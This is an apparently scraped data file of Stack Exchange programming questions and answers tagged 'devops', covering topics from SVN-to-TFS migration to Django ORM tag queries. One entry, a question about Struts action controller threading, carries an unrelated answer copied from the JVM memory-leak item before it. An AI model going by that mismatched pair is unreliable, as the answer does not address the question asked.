{"id": "hf_79b36dd5f973", "question": "<p>Are there any import and export tools that would let us move projects into and out of team system <strong>with full history and log</strong>? Our current SCM is SVN.</p>\n\n<p>PS - Sorry, I know it's a repost, but I didn't get an answer before... :)</p>\n", "question_body": "", "answer": "Unfortunately, you probably didn't get an answer because there isn't a good one on offer...\nI've looked into this a couple of times before, initially for the first TFS Betas. \n(At the time we were eager to move away from VSS while waiting for TFS to be ready... the compromise we ended up with then was to use SVN in the interim, but used a post commit hook that kept a VSS repository in sync to allow for that migration path to TFS.)\nThese guys (ComponentSource)\nwere around back then with a VSS to TFS converter, and added a SVN to TFS one, but appear to have since discontinued the product.\nThese guys (Kyrosoft)\nmight have some promise, but I'm concerned that they don't post prices, and do post a customer list (of two).  If anyone has experience with the product, please let us all know.\nMore recently the TFS Migration and Synchronization Toolkit has been released on CodePlex, but to date no one has release a SVN plugin for it (there are 66 votes for the\nrequest\n)\nSo, you can look at rolling your own plugin for the toolkit, but even then you won't get the original dates for commits, as to my knowledge the TFS team haven't allowed a mechanism for importers to set this, so all migrated revisions will have the date of migration.\n(The discontinued first tool above purportedly used to allow this, but how they got around the limitation (secret API? adjusting system time? database manipulation?) I don't know.)\nIn the end, I suspect most teams end up deciding to just switch systems at an appropriate time (eg new version or project), and manually deal with the bifurcated history lookup for the 6-12 months it remains particularly problematic...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.091042"}
{"id": "hf_30198bfcfa21", "question": "<p>(Jeopardy-style question, I wish the answer had been online when I had this issue)</p>\n\n<p>Using Java 1.4, I have a method that I want to run as a thread some of the time, but not at others. So I declared it as a subclass of Thread, then either called start() or run() depending on what I needed.</p>\n\n<p>But I found that my program would leak memory over time. What am I doing wrong?</p>\n", "question_body": "", "answer": "This is a known bug in Java 1.4:\nhttp://bugs.sun.com/bugdatabase/view_bug.do;jsessionid=5869e03fee226ffffffffc40d4fa881a86e3:WuuT?bug_id=4533087\nIt's fixed in Java 1.5 but Sun doesn't intend to fix it in 1.4.\nThe issue is that, at construction time, a\n```\nThread\n```\nis added to a list of references in an internal thread table. It won't get removed from that list until its start() method has completed. As long as that reference is there, it won't get garbage collected.\nSo, never create a thread unless you're definitely going to call its\n```\nstart()\n```\nmethod. A\n```\nThread\n```\nobject's\n```\nrun()\n```\nmethod should not be called directly.\nA better way to code it is to implement the\n```\nRunnable\n```\ninterface rather than subclass\n```\nThread\n```\n. When you don't need a thread, call\n```\n```\nmyRunnable.run();\n```\n```\nWhen you do need a thread:\n```\n```\nThread myThread = new Thread(myRunnable);\nmyThread.start();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.129106"}
{"id": "hf_7cc041db12c5", "question": "<p>I don't want <code>PHP</code> errors to display /html, but I want them to display in <code>/html/beta/usercomponent</code>. Everything is set up so that errors do not display at all. How can I get errors to just show up in that one folder (and its subfolders)?</p>\n", "question_body": "", "answer": "I don't believe there's a simple answer to this\n, but I'd certainly want to  be proven wrong.\nedit: turns out this can be controlled from .htaccess files. Thanks people! :)\nYou can use error_reporting()\nhttp://docs.php.net/manual/en/function.error-reporting.php\nto switch the setting on a script by script basis, though. If you happen to have a single script which is included every time at /html/beta/usercomponent, this will do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.154119"}
{"id": "hf_f422e1395ce6", "question": "<p>I've encrypted the connectionstring in my web.config file using the steps in the link below:\n<a href=\"http://www.codeproject.com/KB/database/WebFarmConnStringsNet20.aspx\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/database/WebFarmConnStringsNet20.aspx</a></p>\n\n<p>However, whenever I call my application, it will give the following error:  </p>\n\n<blockquote>\n  <p>Failed to decrypt using provider\n  'CustomProvider'. Error message from\n  the provider: The RSA key container\n  could not be opened.</p>\n</blockquote>\n\n<p>The server where I perform the encryption is a 64-bit Windows Server 2003 R2 SP2. Because of that I assign the ACL to <code>NT Authority\\Network Service</code>. Yet it still doesn't work.  </p>\n\n<p>Hope someone has some ideas what else do I need to check to get this working.</p>\n\n<p>PS. If I used the default rsa key <code>NetFrameworkConfigurationKey</code> for encryption, then the connection string will not have an access problem. </p>\n", "question_body": "", "answer": "Did you remember to add the\n```\n```\n<configProtectedData>\n```\n```\nto your web.config?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.190687"}
{"id": "hf_6347e94a6dac", "question": "<p>How many lines of code can a <code>.java</code> file contain? Does it depend on the JVM being used?</p>\n", "question_body": "", "answer": "I believe there is a 64kb limit on bytecode size per method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.215337"}
{"id": "hf_c6559662e938", "question": "<p>I have <a href=\"http://laconi.ca/trac/\" rel=\"nofollow noreferrer\">Laconica</a> (self hosted <a href=\"http://twitter.com/home\" rel=\"nofollow noreferrer\">twitter</a>) configured on my local intranet and would like to integrate the public stream into SharePoint site with a web part.  How can I do this?</p>\n", "question_body": "", "answer": "You can point an RSS Viewer web part at the laconi.ca public stream RSS feed and use this XSLT to ensure attractive output.\nResult screen shot:\nXSL transform:\n```\n```\n<xsl:stylesheet xmlns:x=\"http://www.w3.org/2001/XMLSchema\" version=\"1.0\" exclude-result-prefixes=\"xsl ddwrt msxsl rssaggwrt\"\n               xmlns:ddwrt=\"http://schemas.microsoft.com/WebParts/v2/DataView/runtime\"\n               xmlns:rssaggwrt=\"http://schemas.microsoft.com/WebParts/v3/rssagg/runtime\"\n               xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n               xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\"\n               xmlns:rssFeed=\"urn:schemas-microsoft-com:sharepoint:RSSAggregatorWebPart\"\n               xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n               xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n               xmlns:rss=\"http://purl.org/rss/1.0/\"\n               xmlns:atom=\"http://www.w3.org/2005/Atom\"\n               xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\"\n               xmlns:atom2=\"http://purl.org/atom/ns#\"\n               xmlns:ddwrt2=\"urn:frontpage:internal\"\n               xmlns:laconica=\"http://laconi.ca/ont/\">\n  <xsl:param name=\"rss_FeedLimit\">5</xsl:param>\n  <xsl:param name=\"rss_ExpandFeed\">false</xsl:param>\n  <xsl:param name=\"rss_LCID\">1033</xsl:param>\n  <xsl:param name=\"rss_WebPartID\">RSS_Viewer_WebPart</xsl:param>\n  <xsl:param name=\"rss_alignValue\">left</xsl:param>\n  <xsl:param name=\"rss_IsDesignMode\">True</xsl:param>\n  <xsl:template match=\"rdf:RDF\">\n    <xsl:call-template name=\"RDFMainTemplate\"/>\n  </xsl:template>\n  <xsl:template name=\"RDFMainTemplate\" xmlns:ddwrt=\"http://schemas.microsoft.com/WebParts/v2/DataView/runtime\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\">\n    <xsl:variable name=\"Rows\" select=\"rss:item\"/>\n    <xsl:variable name=\"RowCount\" select=\"count($Rows)\"/>\n    <div class=\"slm-layout-main\" >\n      <xsl:call-template name=\"RDFMainTemplate.body\">\n        <xsl:with-param name=\"Rows\" select=\"$Rows\"/>\n        <xsl:with-param name=\"RowCount\" select=\"count($Rows)\"/>\n      </xsl:call-template>\n    </div>\n  </xsl:template>\n  <xsl:template name=\"RDFMainTemplate.body\" xmlns:ddwrt=\"http://schemas.microsoft.com/WebParts/v2/DataView/runtime\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\">\n    <xsl:param name=\"Rows\"/>\n    <xsl:param name=\"RowCount\"/>\n    <xsl:for-each select=\"$Rows\">\n      <xsl:variable name=\"CurPosition\" select=\"position()\" />\n      <xsl:variable name=\"RssFeedLink\" select=\"$rss_WebPartID\" />\n      <xsl:variable name=\"CurrentElement\" select=\"concat($RssFeedLink,$CurPosition)\" />\n      <xsl:if test=\"($CurPosition &lt;= $rss_FeedLimit)\">\n        <xsl:element name=\"div\">\n          <xsl:if test=\"($CurPosition mod 2 = 1)\">\n            <xsl:attribute name=\"style\"><![CDATA[background-color:#F9F9F9;]]></xsl:attribute>\n          </xsl:if>\n          <xsl:element name=\"table\">\n            <xsl:attribute name=\"cellpadding\">0</xsl:attribute>\n            <xsl:attribute name=\"border\">0</xsl:attribute>\n            <xsl:attribute name=\"style\"><![CDATA[margin:0px;padding:0px;border-spacing:0px;background-color:transparent;]]></xsl:attribute>\n            <xsl:element name=\"tr\">\n              <xsl:element name=\"td\">\n                <xsl:attribute name=\"style\"><![CDATA[vertical-align:top;padding:0px;background-color:transparent;]]></xsl:attribute>\n                <xsl:attribute name=\"rowspan\">2</xsl:attribute>\n                <xsl:element name=\"img\">\n                  <xsl:attribute name=\"src\"><xsl:value-of select=\"laconica:postIcon/@rdf:resource\"/></xsl:attribute>\n                  <xsl:attribute name=\"style\"><![CDATA[margin:3px;height:48px;width:48px;]]></xsl:attribute>\n                </xsl:element>\n              </xsl:element>\n              <xsl:element name=\"td\">\n                <xsl:attribute name=\"style\"><![CDATA[vertical-align:top;padding:0px;background-color:transparent;]]></xsl:attribute>\n                <div>\n                  <strong><xsl:value-of select=\"substring-before(rss:title, ':')\"/></strong>\n                </div>\n                <div style=\"width:300px;overflow-x:hidden;\">\n                  <div>\n                    <xsl:value-of select=\"substring-after(rss:title, ':')\"/>\n                  </div>\n                </div>\n              </xsl:element>\n            </xsl:element>\n            <xsl:element name=\"tr\">\n              <xsl:element name=\"td\">\n                <xsl:attribute name=\"style\"><![CDATA[padding:0px;background-color:transparent;]]></xsl:attribute>\n                <xsl:element name=\"a\">\n                  <xsl:attribute name=\"href\"><xsl:value-of select=\"rss:link\"/></xsl:attribute>\n                  <xsl:value-of select=\"ddwrt:FormatDate(dc:date,number($rss_LCID),15)\"/>\n                </xsl:element>\n              </xsl:element>\n            </xsl:element>\n          </xsl:element>\n        </xsl:element>\n      </xsl:if>\n    </xsl:for-each>\n  </xsl:template>\n</xsl:stylesheet>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.239637"}
{"id": "hf_1bbc9ea2f91f", "question": "<p>I have a legacy web site in ColdFusion MX 2004.  I'm re-writing it in .Net, so I don't want to pay $600+ for an upgrade to the latest version of ColdFusion, nor do I want to go through the (very large) site fixing version incompatibilities.</p>\n\n<p>I often have to track down and fix bugs in the site.</p>\n\n<p>A source-level debugger that would let me step through the code line-by-line and examine variables would be a HUGE time-saver.</p>\n\n<p>Does anyone have experience using any of the third-party ColdFusion source-level debuggers?</p>\n", "question_body": "", "answer": "There's no such thing as ColdFusion MX 2004, neither in name nor release year (CFMX 6.1 was released in 2003, and CFMX 7 was released in 2005).\nFusionDebug\nsupports all versions of CFMX from 6.1 onwards.\nYou may want to investigate\nBlueDragon.NET\n, which allows you to run CFML code on the .NET platform, and may make the transition easier for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.269434"}
{"id": "hf_5a3ddb760c54", "question": "<p>On Linux/GCC I can use the -rpath flag to change an executables search path for shared libraries without tempering with environment variables.</p>\n\n<p>Can this also  be accomplished on Windows? As far as I know, dlls are always searched in the executable's directory and in PATH.  </p>\n\n<p>My scenario: I would like to put shared libraries into locations according to their properties (32/64bit/Debug/Release) without taking care of unique names. On Linux, this is easily be done via rpath, but I haven't found any way doing this on Windows yet.</p>\n\n<p>Thanks for any hints!</p>\n", "question_body": "", "answer": "The search order for DLLs in Windows is described on\nthis page\non MSDN. If you're using\nrun-time dynamic linking\n, you can specify the folder when you call\n```\nLoadLibrary\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.311786"}
{"id": "hf_5c4c3c038015", "question": "<p>I am using YUI reset/base, after the reset it sets the <code>ul</code> and <code>li</code> tags to list-style: disc outside;</p>\n\n<p>My markup looks like this:</p>\n\n<pre><code>&lt;div id=\"nav\"&gt;\n     &lt;ul class=\"links\"&gt;\n         &lt;li&gt;&lt;a href=\"\"&gt;Testing&lt;/a&gt;&lt;/li&gt;\n     &lt;/ul&gt;\n\n&lt;/div&gt;\n</code></pre>\n\n<p>My CSS is:</p>\n\n<pre><code>#nav {}\n#nav ul li {\n    list-style: none;\n }\n</code></pre>\n\n<p>Now that makes the small disc beside each li disappear.</p>\n\n<p>Why doesn't this work though?</p>\n\n<pre><code> #nav {}\n #nav ul.links \n {\n      list-style: none;\n }\n</code></pre>\n\n<p>It works if I remove the link to the base.css file, why?.</p>\n\n<p>Updated: <code>sidenav</code> -> <code>nav</code></p>\n", "question_body": "", "answer": "shouldn't it be:\n```\n```\n#nav ul.links\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.373445"}
{"id": "hf_f993339b5ab0", "question": "<p>The <code>unzip</code> command doesn't have an option for recursively unzipping archives.</p>\n\n<p>If I have the following directory structure and archives:</p>\n\n<pre>\n/Mother/Loving.zip\n/Scurvy/Sea Dogs.zip\n/Scurvy/Cures/Limes.zip\n</pre>\n\n<p>And I want to unzip all of the archives into directories with the same name as each archive:</p>\n\n<pre>\n/Mother/Loving/1.txt\n/Mother/Loving.zip\n/Scurvy/Sea Dogs/2.txt\n/Scurvy/Sea Dogs.zip\n/Scurvy/Cures/Limes/3.txt\n/Scurvy/Cures/Limes.zip\n</pre>\n\n<p>What command or commands would I issue?</p>\n\n<p>It's important that this doesn't choke on filenames that have spaces in them.</p>\n", "question_body": "", "answer": "Here's one solution that extracts all zip files to the\nworking directory\nand involves the find command and a while loop:\n```\n```\nfind . -name \"*.zip\" | while read filename; do unzip -o -d \"`basename -s .zip \"$filename\"`\" \"$filename\"; done;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.434565"}
{"id": "hf_748eb2de5bd1", "question": "<p>I'm working on a simple multiplayer game in which 2-4 players are placed at separate entrypoints in a maze and need to reach a goal point.  Generating a maze in general is very easy, but in this case the goal of the game is to reach the goal before everyone else and I don't want the generation algorithm to drastically favor one player over others.</p>\n\n<p>So I'm looking for a maze generation algorithm where the optimal path for each player from the startpoint to the goal is no more than 10% more steps than the average path.  This way the players are on more or less an equal playing field.  Can anyone think up such an algorithm?</p>\n\n<p>(I've got one idea as it stands, but it's not well thought out and seems far less than optimal -- I'll post it as an answer.)</p>\n", "question_body": "", "answer": "The easiest solution I can come up with is to randomly generate an entire maze like normal, then randomly pick the goal point and player startpoints.  Once this is done, calculate the shortest path from each startpoint to the goal.  Find the average and start 'smoothing' (remove/move barriers -- don't know how this will work) the paths that are significantly above it, until all of the paths are within the proper margin.  In addition, it could be possible to take the ones that are significantly below the average and insert additional barriers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.460029"}
{"id": "hf_997e063a85f1", "question": "<p>We are looking for a reliable \"current weather\" web service for Europe, with city resolution. We only need the current weather. </p>\n\n<p>Since it is for a commercial web site, we don't mind paying a reasonable fee for the service.</p>\n\n<p>What are our options? What service would you recommend or avoid based on previous experience?</p>\n\n<p>Note: SOAP Web Service, XML RPC, REST, all are fine. </p>\n", "question_body": "", "answer": "You should be able to interface with\nYahoo weather Europe\nlike the team of the\nweather plasmoid\ndid.\nOr if you only need to add it to a web page you could use directly\nthis gadget", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.523057"}
{"id": "hf_de72c2e3ee03", "question": "<p>Could anybody explain in plain words how Cloud computing works?\nI have read the <a href=\"http://en.wikipedia.org/wiki/Cloud_computing\" rel=\"noreferrer\">Wikipedia article</a>, but still not sure that I understand how cloud actually works.</p>\n", "question_body": "", "answer": "Aside from the latest marketing term?\nBasically all the resources your program needs are held \"somewhere\" on the internet. You interact with them via a defined service contract; SOAP, REST, POX or whatever and what happens after that is up to the service provider. You don't care about how your information is stored or how the service is provided, just that it is.\nIf, for example, you wanted to store files, you may choose to use Amazon's S3 cloud system. You connect to the service and upload your files; you don't know or care where the files are stored, only the location of the entry point to that service.\nIf you have an application then it may also be ran in the cloud, assuming it's suitable. Live Mesh for example is a virtual machine which you can code against and run your software both locally and within the cloud, so your user simply goes to a URI and finds your program, you don't care where it is beyond it being available somewhere on the cloud.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.546543"}
{"id": "hf_9347ed555933", "question": "<p>When I create a socket using accept() and make a FILE out of it using fdopen(), what do I have to do to clean everything up? Do I need to do fclose() on the FILE, shutdown() and close() on the socket, or only the shutdown() and or close() or fclose()? If I don't do fclose(), do I have to free() the FILE pointer manually?</p>\n", "question_body": "", "answer": "You have 2 things here you need to clean up: the stream represented by\n```\nFILE\n```\nand the file descriptor represented by the socket. You need to close the stream first, then the file descriptor. So, in general you will need to\n```\nfclose()\n```\nany\n```\nFILE\n```\nobjects, then\n```\nclose()\n```\nany file descriptors.\nPersonally I have never used\n```\nshutdown()\n```\nwhen I want to cleanup after myself, so I can't say.\nedit\nOthers have correctly pointed out that\n```\nfdclose()\n```\nwill also close the underlying file descriptor, and since calling\n```\nclose()\n```\non a close file descriptor will lead to an error, in this case you only need\n```\nfdclose()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.571310"}
{"id": "hf_b72ecddf17d6", "question": "<p>I'm working on a large application (300K LOC) that is causing a memory leak in the Sun 1.6 JVM (1.6_05). Profiling the Java shows no leak. Are there any diagnostics available from the JVM that might detect the cause of the leak?<br>\nI haven't been able to create a simple, isolated Java test case. Is the only way to figure this out by using a C heap analyzer on the JVM?<br>\nThe application creates a pool of sockets and does a significant amount of network I/O.</p>\n", "question_body": "", "answer": "Some profiler like profiler4j can show the managed and the unmanaged memory (live curve). Then you can see if you has a leak and when the leak occur. But you does not find more informations.\nAfter this there are 2 possible solutions:\nYou can with the live curve isolate the problem and create a simpler test until you have find the cause of the problem.\nYou search your code for the typical problems like:\nInstances of the class Thread that are never start.\nImages or Graphics that never are dispose\nODBC Bridge Objects that are never close", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.615806"}
{"id": "hf_4b501860787d", "question": "<p>when they say the action controller in the struts framework is multi threaded, does it mean that there are multiple instances of the servlet taking the request and forwarding it to the model. OR does it mean that there is one single instance taking all the requests? Any visuals will be appreciated</p>\n", "question_body": "", "answer": "Some profiler like profiler4j can show the managed and the unmanaged memory (live curve). Then you can see if you has a leak and when the leak occur. But you does not find more informations.\nAfter this there are 2 possible solutions:\nYou can with the live curve isolate the problem and create a simpler test until you have find the cause of the problem.\nYou search your code for the typical problems like:\nInstances of the class Thread that are never start.\nImages or Graphics that never are dispose\nODBC Bridge Objects that are never close", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.640723"}
{"id": "hf_af2cfdb40e5a", "question": "<p>Are there any good, cross platform (SBCL and CLISP at the very least) easy to install GUI libraries?</p>\n", "question_body": "", "answer": "Ltk\nis quite popular, very portable, and reasonably well documented through the Tk docs.  Installation on SBCL is as easy as saying:\n```\n```\n(require :asdf-install)\n(asdf-install:install :ltk)\n```\n```\nThere's also\nCells-Gtk\n, which is reported to be quite usable but may have a slightly steeper learning curve because of its reliance on Cells.\nEDIT: Note that ASDF-INSTALL is integrated this well with SBCL\nonly\n.  Installing libraries from within other Lisp implementations may prove harder.  (Personally, I always install my libraries from within SBCL and then use them from all implementations.)  Sorry about any confusion this may have caused.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.666088"}
{"id": "hf_a952b2f66120", "question": "<p>Once again one of those: \"Is there an easier built-in way of doing things instead of my helper method?\"</p>\n\n<p>So it's easy to get the underlying type from a nullable type, but how do I get the nullable version of a .NET type?</p>\n\n<p>So I have</p>\n\n<pre><code>typeof(int)\ntypeof(DateTime)\nSystem.Type t = something;\n</code></pre>\n\n<p>and I want</p>\n\n<pre><code>int? \nDateTime?\n</code></pre>\n\n<p>or</p>\n\n<pre><code>Nullable&lt;int&gt; (which is the same)\nif (t is primitive) then Nullable&lt;T&gt; else just T\n</code></pre>\n\n<p>Is there a built-in method?</p>\n", "question_body": "", "answer": "Here is the code I use:\n```\n```\nType GetNullableType(Type type) {\n    // Use Nullable.GetUnderlyingType() to remove the Nullable<T> wrapper if type is already nullable.\n    type = Nullable.GetUnderlyingType(type) ?? type; // avoid type becoming null\n    if (type.IsValueType)\n        return typeof(Nullable<>).MakeGenericType(type);\n    else\n        return type;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.729672"}
{"id": "hf_053091f4fdbf", "question": "<p>What problems does MEF (Managed Extensibility Framework) solves that cannot be solved by existing IoC/DI containers?</p>\n", "question_body": "", "answer": "The principle purpose of MEF is extensibility; to serve as a 'plug-in' framework for when the author of the application and the author of the plug-in (\nextension\n) are different and have no particular knowledge of each other beyond a published interface (\ncontract\n) library.\nAnother problem space MEF addresses that's different from the usual IoC suspects, and one of MEFs strengths, is [extension] discovery. It has a lot of, well, extensible discovery mechanisms that operate on metadata you can associate with extensions. From the MEF CodePlex site:\n\"MEF allows tagging extensions with additonal metadata which facilitates rich querying and filtering\"\nCombined with an ability to delay-load tagged extensions, being able to interrogate extension metadata\nprior\nto loading opens the door to a slew of interesting scenarios and substantially enables capabilities such as [plug-in] versioning.\nMEF also has 'Contract Adapters' which allow extensions to be 'adapted' or 'transformed' (\nfrom type > to type\n) with complete control over the details of those transforms. Contract Adapters open up another creative front relative to just what 'discovery' means and entails.\nAgain, MEFs 'intent' is tightly focused on anonymous plug-in extensibility, something that very much differentiates it from other IoC containers. So while MEF can be used for composition, that's merely a small intersection of its capabilities relative to other IoCs, with which I suspect we'll be seeing a lot of incestuous interplay going forward.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.753743"}
{"id": "hf_550ab2156842", "question": "<p>I am using <code>pyexcelerator</code> Python module to generate Excel files. \nI want to apply bold style to part of cell text, but not to the whole cell.\nHow to do it?</p>\n", "question_body": "", "answer": "This is an example from Excel documentation:\n```\n```\nWith Worksheets(\"Sheet1\").Range(\"B1\")\n    .Value = \"New Title\"\n    .Characters(5, 5).Font.Bold = True\nEnd With\n```\n```\nSo the Characters property of the cell you want to manipulate is the answer to your question. It's used as Characters(\nstart\n,\nlength\n).\nPS: I've never used the module in question, but I've used Excel COM automation in python scripts. The Characters property is available using win32com.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.778907"}
{"id": "hf_fdaaf698a544", "question": "<p>I know that it's possible to replace the browse button, which is generated in html, when you use <code>input</code> tag with <code>type=\"file</code>.</p>\n\n<p>I'm not sure what is the best way, so if someone has experience with this please contribute. </p>\n", "question_body": "", "answer": "The best way is to make the file input control\nalmost\ninvisible (by giving it a very low opacity - do not do \"\nvisibility: hidden\n\" or \"\ndisplay: none\n\") and absolutely position something under it - with a lower\nz-index\n.\nThis way, the actual control will not be visible, and whatever you put under it will show through. But since the control is positioned above that button, it will still capture the click events (this is why you want to use opacity, not visibility or display - browsers make the element unclickable if you use those to hide it).\nThis article\ngoes in-depth on the technique.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.804179"}
{"id": "hf_8dcd4a6310e0", "question": "<p>Given a list, how would I select a new list, containing a slice of the original list (Given offset and number of elements) ?</p>\n<h3>EDIT:</h3>\n<p>Good suggestions so far. Isn't there something specified in one of the SRFI's? This appears to be a very fundamental thing, so I'm surprised that I need to implement it in user-land.</p>\n", "question_body": "", "answer": "The following code will do what you want:\n```\n```\n(define get-n-items\n    (lambda (lst num)\n        (if (> num 0)\n            (cons (car lst) (get-n-items (cdr lst) (- num 1)))\n            '()))) ;'\n\n(define slice\n    (lambda (lst start count)\n        (if (> start 1)\n            (slice (cdr lst) (- start 1) count)\n            (get-n-items lst count))))\n```\n```\nExample:\n```\n```\n> (define l '(2 3 4 5 6 7 8 9)) ;'\n()\n> l\n(2 3 4 5 6 7 8 9)\n> (slice l 2 4)\n(3 4 5 6)\n>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.829506"}
{"id": "hf_b7018d1f09ad", "question": "<pre><code>class Tag(models.Model):\n  name = models.CharField(maxlength=100)\n\nclass Blog(models.Model):\n  name = models.CharField(maxlength=100)\n  tags =  models.ManyToManyField(Tag)\n</code></pre>\n\n<p>Simple models just to ask my question.</p>\n\n<p>I wonder how can i query blogs using tags in two different ways.</p>\n\n<ul>\n<li>Blog entries that are tagged with \"tag1\" or \"tag2\":\n<code>Blog.objects.filter(tags_in=[1,2]).distinct()</code></li>\n<li>Blog objects that are tagged with \"tag1\" and \"tag2\" : <strong>?</strong></li>\n<li>Blog objects that are tagged with exactly \"tag1\" and \"tag2\" and nothing else : <strong>??</strong></li>\n</ul>\n\n<hr>\n\n<p>Tag and Blog is just used for an example.</p>\n", "question_body": "", "answer": "You could use Q objects for #1:\n```\n```\n# Blogs who have either hockey or django tags.\nfrom django.db.models import Q\nBlog.objects.filter(\n    Q(tags__name__iexact='hockey') | Q(tags__name__iexact='django')\n)\n```\n```\nUnions and intersections, I believe, are a bit outside the scope of the Django ORM, but its possible to to these.  The following examples are from a Django application called called\ndjango-tagging\nthat provides the functionality.\nLine 346 of models.py\n:\nFor part two, you're looking for a union of two queries, basically\n```\n```\ndef get_union_by_model(self, queryset_or_model, tags):\n    \"\"\"\n    Create a ``QuerySet`` containing instances of the specified\n    model associated with *any* of the given list of tags.\n    \"\"\"\n    tags = get_tag_list(tags)\n    tag_count = len(tags)\n    queryset, model = get_queryset_and_model(queryset_or_model)\n\n    if not tag_count:\n        return model._default_manager.none()\n\n    model_table = qn(model._meta.db_table)\n    # This query selects the ids of all objects which have any of\n    # the given tags.\n    query = \"\"\"\n    SELECT %(model_pk)s\n    FROM 